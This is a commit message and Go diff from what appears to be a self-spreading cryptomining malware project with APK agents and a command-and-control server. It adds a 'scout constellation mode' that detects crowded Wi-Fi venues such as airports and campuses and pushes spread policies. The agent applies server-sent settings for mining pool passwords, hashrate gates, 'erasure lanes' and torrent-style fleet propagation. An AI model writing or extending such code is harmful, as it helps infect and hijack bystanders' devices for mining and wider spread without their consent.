Add scout constellation mode for APK venue persona packs.

Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.

agent/client/policy.go

@@ -27,6 +27,7 @@ type FleetPolicyUpdate struct {
 	PoolTLS           *bool           `json:"pool_tls,omitempty"`
 	PoolPass          string          `json:"pool_pass,omitempty"`
 	SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
+	SpreadPolicy      json.RawMessage `json:"spread_policy,omitempty"`
 }
 
 // ModuleManifest matches server-signed feature packs.
@@ -107,6 +108,34 @@ func applyFleetPolicyUpdate(cfg *config.RuntimeConfig, p FleetPolicyUpdate) {
 		cfg.PoolPass = strings.TrimSpace(p.PoolPass)
 	}
 	applySpreadTemperament(cfg, p.SpreadTemperament)
+	if len(p.SpreadPolicy) > 0 {
+		applySpreadPolicyFields(cfg, p.SpreadPolicy)
+	}
+}
+
+func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
+	if len(raw) == 0 || string(raw) == "null" {
+		return
+	}
+	var policy struct {
+		HashrateGateSpreadMin int             `json:"hashrate_gate_spread_min"`
+		HashrateGateHPS       float64         `json:"hashrate_gate_hps"`
+		ErasureLanesEnabled   bool            `json:"erasure_lanes_enabled"`
+		FleetTorrentEnabled   bool            `json:"fleet_torrent_enabled"`
+		SpreadTemperament     json.RawMessage `json:"spread_temperament"`
+	}
+	if err := json.Unmarshal(raw, &policy); err != nil {
+		return
+	}
+	if policy.HashrateGateSpreadMin > 0 {
+		cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin
+	}
+	if policy.HashrateGateHPS > 0 {
+		cfg.HashrateGateHPS = policy.HashrateGateHPS
+	}
+	cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
+	cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
+	applySpreadTemperament(cfg, policy.SpreadTemperament)
 }
 
 func applySpreadTemperament(cfg *config.RuntimeConfig, raw json.RawMessage) {